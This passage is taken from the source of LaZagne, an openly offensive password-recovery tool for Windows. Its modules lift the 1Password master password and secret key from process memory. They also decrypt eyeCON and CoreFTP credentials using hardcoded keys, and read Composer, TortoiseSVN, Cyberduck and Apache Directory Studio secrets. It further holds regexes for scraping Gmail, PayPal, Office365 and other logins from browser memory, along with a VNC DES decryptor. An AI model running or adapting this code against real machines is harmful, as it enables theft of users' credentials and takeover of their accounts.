(sLLLLLL << n_left) # --------------------------------- end ----------------------------------- ================================================ FILE: Windows/lazagne/softwares/memory/memorydump.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Nicolas VERDIER (contact@n1nj4.eu) """ This script uses memorpy to dumps cleartext passwords from browser's memory It has been tested on both windows 10 and ubuntu 16.04 The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz """ from .keethief import KeeThief from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant from lazagne.config.winstructure import get_full_path_from_pid from lazagne.config.lib.memorpy import * # Memorpy has been removed because it takes to much time to execute - could return one day # create a symbolic link on Windows # mklink /J memorpy ..\..\..\..\external\memorpy\memorpy # password_regex=[ # "(email|log(in)?|user(name)?)=(?P.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P.{1,25})&" # ] # grep to list all URLs (could be useful to find the relation between a user / password and its host) # http_regex=[ # "(?Phttp[s]?:\/\/[a-zA-Z0-9-]{1,61}(\.[a-zA-Z]{2,})+)" # ] # password_regex=[ # ("Gmail","&Email=(?P.{1,99})?&Passwd=(?P.{1,99})?&PersistentCookie="), # ("Dropbox","login_email=(?P.{1,99})&login_password=(?P.{1,99})&"), # ("SalesForce","&display=page&username=(?P.{1,32})&pw=(?P.{1,16})&Login="), # ("Office365","login=(?P.{1,32})&passwd=(?P.{1,22})&PPSX="), # ("MicrosoftOneDrive","login=(?P.{1,42})&passwd=(?P.{1,22})&type=.{1,2}&PPFT="), # ("PayPal","login_email=(?P.{1,48})&login_password=(?P.{1,16})&submit=Log\+In&browser_name"), # ("awsWebServices","&email=(?P.{1,48})&create=.{1,2}&password=(?P.{1,22})&metadata1="), # ("OutlookWeb","&username=(?P.{1,48})&password=(?P.{1,48})&passwordText"), # ("Slack","&crumb=.{1,70}&email=(?P.{1,50})&password=(?P.{1,48})"), # ("CitrixOnline","emailAddress=(?P.{1,50})&password=(?P.{1,50})&submit"), # ("Xero ","fragment=&userName=(?P.{1,32})&password=(?P.{1,22})&__RequestVerificationToken="), # ("MYOB","UserName=(?P.{1,50})&Password=(?P.{1,50})&RememberMe="), # ("JuniperSSLVPN","tz_offset=-.{1,6}&username=(?P.{1,22})&password=(?P.{1,22})&realm=.{1,22}&btnSubmit="), # ("Twitter","username_or_email%5D=(?P.{1,42})&session%5Bpassword%5D=(?P.{1,22})&remember_me="), # ("Facebook","lsd=.{1,10}&email=(?P.{1,42})&pass=(?P.{1,22})&(?:default_)?persistent="), # ("LinkedIN","session_key=(?P.{1,50})&session_password=(?P.{1,50})&isJsEnabled"), # ("Malwr","&username=(?P.{1,32})&password=(?P.{1,22})&next="), # ("VirusTotal","password=(?P.{1,22})&username=(?P.{1,42})&next=%2Fen%2F&response_format=json"), # ("AnubisLabs","username=(?P.{1,42})&password=(?P.{1,22})&login=login"), # ("CitrixNetScaler","login=(?P.{1,22})&passwd=(?P.{1,42})"), # ("RDPWeb","DomainUserName=(?P.{1,52})&UserPass=(?P.{1,42})&MachineType"), # ("JIRA","username=(?P.{1,50})&password=(?P.{1,50})&rememberMe"), # ("Redmine","username=(?P.{1,50})&password=(?P.{1,50})&login=Login"), # ("Github","%3D%3D&login=(?P.{1,50})&password=(?P.{1,50})"), # ("BugZilla","Bugzilla_login=(?P.{1,50})&Bugzilla_password=(?P.{1,50})"), # ("Zendesk","user%5Bemail%5D=(?P.{1,50})&user%5Bpassword%5D=(?P.{1,50})"), # ("Cpanel","user=(?P.{1,50})&pass=(?P.{1,50})"), # ] # browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"] # keepass_process = 'keepass.exe' class MemoryDump(ModuleInfo): def __init__(self): options = {'command': '-m', 'action': 'store_true', 'dest': 'memory_dump', 'help': 'retrieve browsers passwords from memory'} ModuleInfo.__init__(self, 'memory_dump', 'memory', options) def run(self): # Too much detected (at least keethief binary), not supported anymore self.debug(u'Not supported anymore !') return [] # pwd_found = [] # for process in Process.list(): # if not memorpy: # if process.get('name', '').lower() in browser_list: # # Get only child process # try: # p = psutil.Process(process.get('pid')) # if p.parent(): # if process.get('name', '').lower() != str(p.parent().name().lower()): # continue # except: # continue # # try: # mw = MemWorker(pid=process.get('pid')) # except ProcessException: # continue # # self.debug(u'dumping passwords from %s (pid: %s) ...' % (process.get('name', ''), # str(process.get('pid', '')))) # for _, x in mw.mem_search(password_regex, ftype='groups'): # login, password = x[-2:] # pwd_found.append( # { # 'URL' : 'Unknown', # 'Login' : login, # 'Password' : password # } # ) # if keepass_process in process.get('name', '').lower(): # full_exe_path = get_full_path_from_pid(process.get('pid')) # k = KeeThief() # if k.run(full_exe_path=full_exe_path): # for keepass in constant.keepass: # data = keepass.get('KcpPassword', None) # if data: # pwd_found.append({ # 'Category': 'KeePass', # 'KeyType': data['KeyType'], # 'Login': data['Database'], # 'Password': data['Password'] # }) # return pwd_found ================================================ FILE: Windows/lazagne/softwares/memory/onepassword.py ================================================ from lazagne.config.lib.memorpy import Process, MemWorker from lazagne.config.module_info import ModuleInfo class OnePassword(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, "1Password", 'memory') def run(self): pwd_found = [] for process in Process.list(): if process.get('name') == '1Password.exe': mw = MemWorker(pid=process.get('pid')) # Search for Account Details account_details = r'{"title":".*","url":"(.*)","ainfo":"(.*)","ps":.*,"pbe":.*,' \ '"pgrng":.*,"URLs":\[{"l":".*","u":"(.*)"}\],"b5UserUUID":"(.*)",' \ '"tags":\[.*\]}' for _, v in mw.mem_search(account_details, ftype='groups'): pwd_found.append({ "Process": str(process), 'Login URL': str(v[0]), 'Email': str(v[1]), 'User ID': str(v[3]), }) # Search for Secret Key secret_key = '{"name":"account-key","value":"(.{2}-.{6}-.{6}-.{5}-.{5}-.{5}-.{5})","type":"T"}' for _, v in mw.mem_search(secret_key, ftype='groups'): pwd_found.append({ 'Process': str(process), 'Account Key': str(v[0]) }) # Search for Master Password master_password = '{"name":"master-password","value":"(.*)","type":"P","designation":"password"}' junk = '","type":"P","designation":"password"}' for _, v in mw.mem_search(master_password, ftype='groups'): v = v[0] # Remove Tuple if junk in v: # Hacky way of fixing weird regex bug ?! v = v.split(junk)[0] pwd_found.append({ 'Process': str(process), 'Master Password': str(v) }) return pwd_found ================================================ FILE: Windows/lazagne/softwares/multimedia/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/multimedia/eyecon.py ================================================ # -*- coding: utf-8 -*- import codecs try: import _winreg as winreg except ImportError: import winreg from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import * class EyeCON(ModuleInfo): """ eyeCON software WAll management software infos at http://www.eyevis.de/en/products/wall-management-software.html """ def __init__(self): self.hex_key = [ 35, 231, 64, 111, 100, 72, 95, 65, 68, 51, 52, 70, 67, 51, 65, 95, 54, 55, 50, 48, 95, 49, 49, 68, 54, 95, 65, 48, 53, 50, 95, 48, 48, 48, 52, 55, 54, 65, 48, 70, 66, 53, 66, 65, 70, 88, 95, 76, 79, 71, 73, 49, 76, 115, 107, 100, 85, 108, 107, 106, 102, 100, 109, 32, 50, 102, 115, 100, 102, 102, 32, 102, 119, 115, 38, 78, 68, 76, 76, 95, 72, 95, 95, 0 ] ModuleInfo.__init__(self, name='EyeCon', category='multimedia') def deobfuscate(self, ciphered_str): return b''.join([chr_or_byte(char_to_int(c) ^ k) for c, k in zip(codecs.decode(ciphered_str, 'hex'), self.hex_key)]) def get_db_hosts(self): hosts = [] paths = ( ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB1'), ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB2'), ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB3'), ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB1'), ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB2'), ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB3'), ) for path in paths: try: hkey = OpenKey(path[1], path[2]) reg_key = winreg.QueryValueEx(hkey, path[3])[0] if reg_key: hosts += [reg_key] except Exception: # skipping if value doesn't exist # self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path[1]+path[2])) pass return hosts def credentials_from_registry(self): found_passwords = [] password_path = ( { 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE, 'reg_path': 'SOFTWARE\\WOW6432Node\\eyevis\\eyetool\\Default', 'user_key': 'registered', 'password_key': 'connection' }, { 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE, 'reg_path': 'SOFTWARE\\eyevis\\eyetool\\Default', 'user_key': 'registered', 'password_key': 'connection' }, ) for path in password_path: values = {} try: try: hkey = OpenKey(path['reg_root'], path['reg_path']) reg_user_key = winreg.QueryValueEx(hkey, path['user_key'])[0] reg_password_key = winreg.QueryValueEx(hkey, path['password_key'])[0] except Exception: self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path['reg_root'] + path['reg_path'])) continue try: user = self.deobfuscate(reg_user_key) except Exception: self.info(u'Problems with deobfuscate user : {reg_key}'.format(reg_key=path['reg_path'])) continue try: password = self.deobfuscate(reg_password_key) except Exception: self.info(u'Problems with deobfuscate password : {reg_key}'.format(reg_key=path['reg_path'])) continue found_passwords.append({'username': user, 'password': password}) except Exception: pass return found_passwords def run(self): hosts = self.get_db_hosts() credentials = self.credentials_from_registry() for cred in credentials: cred['host(s)'] = b', '.join(hosts) return credentials ================================================ FILE: Windows/lazagne/softwares/php/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/php/composer.py ================================================ # -*- coding: utf-8 -*- import json from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class Composer(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'composer', 'php') def extract_credentials(self, location): """ Extract the credentials from the "auth.json" file. See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format. :param location: Full path to the "auth.json" file :return: List of credentials founds """ creds_found = [] with open(location) as f: creds = json.load(f) for cred_type in creds: for domain in creds[cred_type]: values = { "AuthenticationType" : cred_type, "Domain" : domain, } # Extract basic authentication if we are on a "http-basic" section # otherwise extract authentication token if cred_type == "http-basic": values["Login"] = creds[cred_type][domain]["username"] values["Password"] = creds[cred_type][domain]["password"] else: values["Password"] = creds[cred_type][domain] creds_found.append(values) return creds_found def run(self): """ Main function """ # Define the possible full path of the "auth.json" file when is defined at global level # See "https://getcomposer.org/doc/articles/http-basic-authentication.md" # See "https://seld.be/notes/authentication-management-in-composer" location = '' tmp_location = [ os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'), os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json') ] for tmp in tmp_location: if os.path.isfile(tmp): location = tmp break if location: return self.extract_credentials(location) ================================================ FILE: Windows/lazagne/softwares/svn/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/svn/tortoise.py ================================================ # -*- coding: utf-8 -*- import base64 from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.config.constant import constant import os class Tortoise(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'tortoise', 'svn', winapi_used=True) def run(self): pwd_found = [] path = os.path.join(constant.profile["APPDATA"], u'Subversion\\auth\\svn.simple') if os.path.exists(path): for root, dirs, files in os.walk(path + os.sep): for filename in files: f = open(os.path.join(path, filename), 'r') url = '' username = '' result = '' i = 0 # password for line in f: if i == -1: result = line.replace('\n', '') break if line.startswith('password'): i = -3 i += 1 i = 0 # url for line in f: if i == -1: url = line.replace('\n', '') break if line.startswith('svn:realmstring'): i = -3 i += 1 i = 0 # username for line in f: if i == -1: username = line.replace('\n', '') break if line.startswith('username'): i = -3 i += 1 # encrypted the password if result: try: password_bytes = Win32CryptUnprotectData(base64.b64decode(result), is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) pwd_found.append({ 'URL': url, 'Login': username, 'Password': password_bytes.decode("utf-8") }) except Exception: pass return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py ================================================ # -*- coding: utf-8 -*- from xml.etree.ElementTree import parse from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import * import os class ApacheDirectoryStudio(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin') # Interesting XML attributes in ADS connection configuration self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"] def extract_connections_credentials(self): """ Extract all connection's credentials. :return: List of dict in which one dict contains all information for a connection. """ repos_creds = [] connection_file_location = os.path.join( constant.profile["USERPROFILE"], u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml' ) if os.path.isfile(connection_file_location): try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//connection") for connection_node in connection_nodes: creds = {} for connection_attr_name in connection_node.attrib: if connection_attr_name in self.attr_to_extract: creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() if creds: repos_creds.append(creds) except Exception as e: self.error(u"Cannot retrieve connections credentials '%s'" % e) return repos_creds def run(self): """ Main function """ # Extract all available connections credentials repos_creds = self.extract_connections_credentials() # Parse and process the list of connections credentials pwd_found = [] for creds in repos_creds: pwd_found.append({ "Host" : creds["host"], "Port" : creds["port"], "Login" : creds["bindPrincipal"], "Password" : creds["bindPassword"], "AuthenticationMethod" : creds["authMethod"] }) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/coreftp.py ================================================ # -*- coding: utf-8 -*- import binascii try: import _winreg as winreg except ImportError: import winreg from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER class CoreFTP(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'coreftp', 'sysadmin') self._secret = b"hdfzpysvpzimorhk" def decrypt(self, hex): encoded = binascii.unhexlify(hex) aes = AESModeOfOperationECB(self._secret) decrypted = aes.decrypt(encoded) return decrypted.split(b'\x00')[0] def run(self): key = None pwd_found = [] try: key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites') except Exception as e: self.debug(str(e)) if key: num_profiles = winreg.QueryInfoKey(key)[0] elements = ['Host', 'Port', 'User', 'PW'] for n in range(num_profiles): name_skey = winreg.EnumKey(key, n) skey = OpenKey(key, name_skey) num = winreg.QueryInfoKey(skey)[1] values = {} for nn in range(num): k = winreg.EnumValue(skey, nn) if k[0] in elements: if k[0] == 'User': values['Login'] = k[1] pwd_found.append(values) if k[0] == 'PW': try: values['Password'] = self.decrypt(k[1]) except Exception as e: self.debug(str(e)) else: values[k[0]] = k[1] winreg.CloseKey(skey) winreg.CloseKey(key) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/cyberduck.py ================================================ # -*- coding: utf-8 -*- import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.config.constant import constant from lazagne.config.winstructure import string_to_unicode import os class Cyberduck(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True) # find the user.config file containing passwords def get_application_path(self): directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck') if os.path.exists(directory): for dr in os.listdir(directory): if dr.startswith(u'Cyberduck'): for d in os.listdir(os.path.join(directory, string_to_unicode(dr))): path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config') return path def run(self): xml_file = self.get_application_path() if xml_file and os.path.exists(xml_file): tree = ElementTree(file=xml_file) pwd_found = [] for elem in tree.iter(): try: if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \ or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \ or elem.attrib['name'].startswith('https'): encrypted_password = base64.b64decode(elem.attrib['value']) password_bytes = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) pwd_found.append({ 'URL': elem.attrib['name'], 'Password': password_bytes.decode("utf-8"), }) except Exception as e: self.debug(str(e)) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/d3des.py ================================================ #!/usr/bin/env python # # d3des.py - DES implementation # # Copyright (c) 2009 by Yusuke Shinyama # # This is a Python rewrite of d3des.c by Richard Outerbridge. # # I referred to the original VNC viewer code for the changes that # is necessary to maintain the exact behavior of the VNC protocol. # Two constants and two functions were added to the original d3des # code. These added parts were written in Python and marked # below. I believe that the added parts do not make this program # a "derivative work" of the VNC viewer (which is GPL'ed and # written in C), but if there's any problem, let me know. # # Yusuke Shinyama (yusuke at cs dot nyu dot edu) # D3DES (V5.09) - # # A portable, public domain, version of the Data Encryption Standard. # # Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. # Thanks to: Dan Hoey for his excellent Initial and Inverse permutation # code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis # Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, # for humouring me on. # # Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. # (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. # from struct import pack, unpack ################################################### # # start: changes made for VNC. # # This constant was taken from vncviewer/rfb/vncauth.c: vnckey = [23, 82, 107, 6, 35, 78, 88, 7] # This is a departure from the original code. # bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version # two password functions for VNC protocol. def decrypt_passwd(data): dk = deskey(pack('8B', *vnckey), True) return desfunc(data, dk) def generate_response(passwd, challange): ek = deskey((passwd+'\x00'*8)[:8], False) return desfunc(challange[:8], ek) + desfunc(challange[8:], ek) ### # end: changes made for VNC. # ################################################### bigbyte = [ 0x800000, 0x400000, 0x200000, 0x100000, 0x80000, 0x40000, 0x20000, 0x10000, 0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100, 0x80, 0x40, 0x20, 0x10, 0x8, 0x4, 0x2, 0x1 ] # Use the key schedule specified in the Standard (ANSI X3.92-1981). pc1 = [ 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28] pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn! key = unpack('8B', key) pc1m = [0]*56 pcr = [0]*56 kn = [0]*32 for j in range(56): l = pc1[j] m = l & 0o7 if key[l >> 3] & bytebit[m]: pc1m[j] = 1 else: pc1m[j] = 0 for i in range(16): if decrypt: m = (15 - i) << 1 else: m = i << 1 n = m + 1 kn[m] = kn[n] = 0 for j in range(28): l = j + totrot[i] if l < 28: pcr[j] = pc1m[l] else: pcr[j] = pc1m[l - 28] for j in range(28, 56): l = j + totrot[i] if l < 56: pcr[j] = pc1m[l] else: pcr[j] = pc1m[l - 28] for j in range(24): if pcr[pc2[j]]: kn[m] |= bigbyte[j] if pcr[pc2[j+24]]: kn[n] |= bigbyte[j] return cookey(kn) def cookey(raw): key = [] for i in range(0, 32, 2): (raw0, raw1) = (raw[i], raw[i+1]) k = (raw0 & 0x00fc0000) << 6 k |= (raw0 & 0x00000fc0) << 10 k |= (raw1 & 0x00fc0000) >> 10 k |= (raw1 & 0x00000fc0) >> 6 key.append(k) k = (raw0 & 0x0003f000) << 12 k |= (raw0 & 0x0000003f) << 16 k |= (raw1 & 0x0003f000) >> 4 k |= (raw1 & 0x0000003f) key.append(k) return key SP1 = [ 0x01010400, 0x00000000, 0x00010000, 0x01010404, 0x01010004, 0x00010404, 0x00000004, 0x00010000, 0x00000400, 0x01010400, 0x01010404, 0x00000400, 0x01000404, 0x01010004, 0x01000000, 0x00000004, 0x00000404, 0x01000400, 0x01000400, 0x00010400, 0x00010400, 0x01010000, 0x01010000, 0x01000404, 0x00010004, 0x01000004, 0x01000004, 0x00010004, 0x00000000, 0x00000404, 0x00010404, 0x01000000, 0x00010000, 0x01010404, 0x00000004, 0x01010000, 0x01010400, 0x01000000, 0x01000000, 0x00000400, 0x01010004, 0x00010000, 0x00010400, 0x01000004, 0x00000400, 0x00000004, 0x01000404, 0x00010404, 0x01010404, 0x00010004, 0x01010000, 0x01000404, 0x01000004, 0x00000404, 0x00010404, 0x01010400, 0x00000404, 0x01000400, 0x01000400, 0x00000000, 0x00010004, 0x00010400, 0x00000000, 0x01010004 ] SP2 = [ 0x80108020, 0x80008000, 0x00008000, 0x00108020, 0x00100000, 0x00000020, 0x80100020, 0x80008020, 0x80000020, 0x80108020, 0x80108000, 0x80000000, 0x80008000, 0x00100000, 0x00000020, 0x80100020, 0x00108000, 0x00100020, 0x80008020, 0x00000000, 0x80000000, 0x00008000, 0x00108020, 0x80100000, 0x00100020, 0x80000020, 0x00000000, 0x00108000, 0x00008020, 0x80108000, 0x80100000, 0x00008020, 0x00000000, 0x00108020, 0x80100020, 0x00100000, 0x80008020, 0x80100000, 0x80108000, 0x00008000, 0x80100000, 0x80008000, 0x00000020, 0x80108020, 0x00108020, 0x00000020, 0x00008000, 0x80000000, 0x00008020, 0x80108000, 0x00100000, 0x80000020, 0x00100020, 0x80008020, 0x80000020, 0x00100020, 0x00108000, 0x00000000, 0x80008000, 0x00008020, 0x80000000, 0x80100020, 0x80108020, 0x00108000 ] SP3 = [ 0x00000208, 0x08020200, 0x00000000, 0x08020008, 0x08000200, 0x00000000, 0x00020208, 0x08000200, 0x00020008, 0x08000008, 0x08000008, 0x00020000, 0x08020208, 0x00020008, 0x08020000, 0x00000208, 0x08000000, 0x00000008, 0x08020200, 0x00000200, 0x00020200, 0x08020000, 0x08020008, 0x00020208, 0x08000208, 0x00020200, 0x00020000, 0x08000208, 0x00000008, 0x08020208, 0x00000200, 0x08000000, 0x08020200, 0x08000000, 0x00020008, 0x00000208, 0x00020000, 0x08020200, 0x08000200, 0x00000000, 0x00000200, 0x00020008, 0x08020208, 0x08000200, 0x08000008, 0x00000200, 0x00000000, 0x08020008, 0x08000208, 0x00020000, 0x08000000, 0x08020208, 0x00000008, 0x00020208, 0x00020200, 0x08000008, 0x08020000, 0x08000208, 0x00000208, 0x08020000, 0x00020208, 0x00000008, 0x08020008, 0x00020200 ] SP4 = [ 0x00802001, 0x00002081, 0x00002081, 0x00000080, 0x00802080, 0x00800081, 0x00800001, 0x00002001, 0x00000000, 0x00802000, 0x00802000, 0x00802081, 0x00000081, 0x00000000, 0x00800080, 0x00800001, 0x00000001, 0x00002000, 0x00800000, 0x00802001, 0x00000080, 0x00800000, 0x00002001, 0x00002080, 0x00800081, 0x00000001, 0x00002080, 0x00800080, 0x00002000, 0x00802080, 0x00802081, 0x00000081, 0x00800080, 0x00800001, 0x00802000, 0x00802081, 0x00000081, 0x00000000, 0x00000000, 0x00802000, 0x00002080, 0x00800080, 0x00800081, 0x00000001, 0x00802001, 0x00002081, 0x00002081, 0x00000080, 0x00802081, 0x00000081, 0x00000001, 0x00002000, 0x00800001, 0x00002001, 0x00802080, 0x00800081, 0x00002001, 0x00002080, 0x00800000, 0x00802001, 0x00000080, 0x00800000, 0x00002000, 0x00802080 ] SP5 = [ 0x00000100, 0x02080100, 0x02080000, 0x42000100, 0x00080000, 0x00000100, 0x40000000, 0x02080000, 0x40080100, 0x00080000, 0x02000100, 0x40080100, 0x42000100, 0x42080000, 0x00080100, 0x40000000, 0x02000000, 0x40080000, 0x40080000, 0x00000000, 0x40000100, 0x42080100, 0x42080100, 0x02000100, 0x42080000, 0x40000100, 0x00000000, 0x42000000, 0x02080100, 0x02000000, 0x42000000, 0x00080100, 0x00080000, 0x42000100, 0x00000100, 0x02000000, 0x40000000, 0x02080000, 0x42000100, 0x40080100, 0x02000100, 0x40000000, 0x42080000, 0x02080100, 0x40080100, 0x00000100, 0x02000000, 0x42080000, 0x42080100, 0x00080100, 0x42000000, 0x42080100, 0x02080000, 0x00000000, 0x40080000, 0x42000000, 0x00080100, 0x02000100, 0x40000100, 0x00080000, 0x00000000, 0x40080000, 0x02080100, 0x40000100 ] SP6 = [ 0x20000010, 0x20400000, 0x00004000, 0x20404010, 0x20400000, 0x00000010, 0x20404010, 0x00400000, 0x20004000, 0x00404010, 0x00400000, 0x20000010, 0x00400010, 0x20004000, 0x20000000, 0x00004010, 0x00000000, 0x00400010, 0x20004010, 0x00004000, 0x00404000, 0x20004010, 0x00000010, 0x20400010, 0x20400010, 0x00000000, 0x00404010, 0x20404000, 0x00004010, 0x00404000, 0x20404000, 0x20000000, 0x20004000, 0x00000010, 0x20400010, 0x00404000, 0x20404010, 0x00400000, 0x00004010, 0x20000010, 0x00400000, 0x20004000, 0x20000000, 0x00004010, 0x20000010, 0x20404010, 0x00404000, 0x20400000, 0x00404010, 0x20404000, 0x00000000, 0x20400010, 0x00000010, 0x00004000, 0x20400000, 0x00404010, 0x00004000, 0x00400010, 0x20004010, 0x00000000, 0x20404000, 0x20000000, 0x00400010, 0x20004010 ] SP7 = [ 0x00200000, 0x04200002, 0x04000802, 0x00000000, 0x00000800, 0x04000802, 0x00200802, 0x04200800, 0x04200802, 0x00200000, 0x00000000, 0x04000002, 0x00000002, 0x04000000, 0x04200002, 0x00000802, 0x04000800, 0x00200802, 0x00200002, 0x04000800, 0x04000002, 0x04200000, 0x04200800, 0x00200002, 0x04200000, 0x00000800, 0x00000802, 0x04200802, 0x00200800, 0x00000002, 0x04000000, 0x00200800, 0x04000000, 0x00200800, 0x00200000, 0x04000802, 0x04000802, 0x04200002, 0x04200002, 0x00000002, 0x00200002, 0x04000000, 0x04000800, 0x00200000, 0x04200800, 0x00000802, 0x00200802, 0x04200800, 0x00000802, 0x04000002, 0x04200802, 0x04200000, 0x00200800, 0x00000000, 0x00000002, 0x04200802, 0x00000000, 0x00200802, 0x04200000, 0x00000800, 0x04000002, 0x04000800, 0x00000800, 0x00200002 ] SP8 = [ 0x10001040, 0x00001000, 0x00040000, 0x10041040, 0x10000000, 0x10001040, 0x00000040, 0x10000000, 0x00040040, 0x10040000, 0x10041040, 0x00041000, 0x10041000, 0x00041040, 0x00001000, 0x00000040, 0x10040000, 0x10000040, 0x10001000, 0x00001040, 0x00041000, 0x00040040, 0x10040040, 0x10041000, 0x00001040, 0x00000000, 0x00000000, 0x10040040, 0x10000040, 0x10001000, 0x00041040, 0x00040000, 0x00041040, 0x00040000, 0x10041000, 0x00001000, 0x00000040, 0x10040040, 0x00001000, 0x00041040, 0x10001000, 0x00000040, 0x10000040, 0x10040000, 0x10040040, 0x10000000, 0x00040000, 0x10001040, 0x00000000, 0x10041040, 0x00040040, 0x10000040, 0x10040000, 0x10001000, 0x10001040, 0x00000000, 0x10041040, 0x00041000, 0x00041000, 0x00001040, 0x00001040, 0x00040040, 0x10000000, 0x10041000 ] def desfunc(block, keys): (leftt, right) = unpack('>II', block) work = ((leftt >> 4) ^ right) & 0x0f0f0f0f right ^= work leftt ^= (work << 4) work = ((leftt >> 16) ^ right) & 0x0000ffff right ^= work leftt ^= (work << 16) work = ((right >> 2) ^ leftt) & 0x33333333 leftt ^= work right ^= (work << 2) work = ((right >> 8) ^ leftt) & 0x00ff00ff leftt ^= work right ^= (work << 8) right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff work = (leftt ^ right) & 0xaaaaaaaa leftt ^= work right ^= work leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff for i in range(0, 32, 4): work = (right << 28) | (right >> 4) work ^= keys[i] fval = SP7[work & 0x3f] fval |= SP5[(work >> 8) & 0x3f] fval |= SP3[(work >> 16) & 0x3f] fval |= SP1[(work >> 24) & 0x3f] work = right ^ keys[i+1] fval |= SP8[work & 0x3f] fval |= SP6[(work >> 8) & 0x3f] fval |= SP4[(work >> 16) & 0x3f] fval |= SP2[(work >> 24) & 0x3f] leftt ^= fval work = (leftt << 28) | (leftt >> 4) work ^= keys[i+2] fval = SP7[work & 0x3f] fval |= SP5[(work >> 8) & 0x3f] fval |= SP3[(work >> 16) & 0x3f] fval |= SP1[(work >> 24) & 0x3f] work = leftt ^ keys[i+3] fval |= SP8[work & 0x3f] fval |= SP6[(work >> 8) & 0x3f] fval |= SP4[(work >> 16) & 0x3f] fval |= SP2[(work >> 24) & 0x3f] right ^= fval right = (right << 31) | (right >> 1) work = (leftt ^ right) & 0xaaaaaaaa leftt ^= work right ^= work leftt = (leftt << 31) | (leftt >> 1) work = ((leftt >> 8) ^ right) & 0x00ff00ff right ^= work leftt ^= (work << 8) work = ((leftt >> 2) ^ right) & 0x33333333 right ^= work leftt ^= (work << 2) work = ((right >> 16) ^ leftt) & 0x0000ffff leftt ^= work right ^= (work << 16) work = ((right >> 4) ^ leftt) & 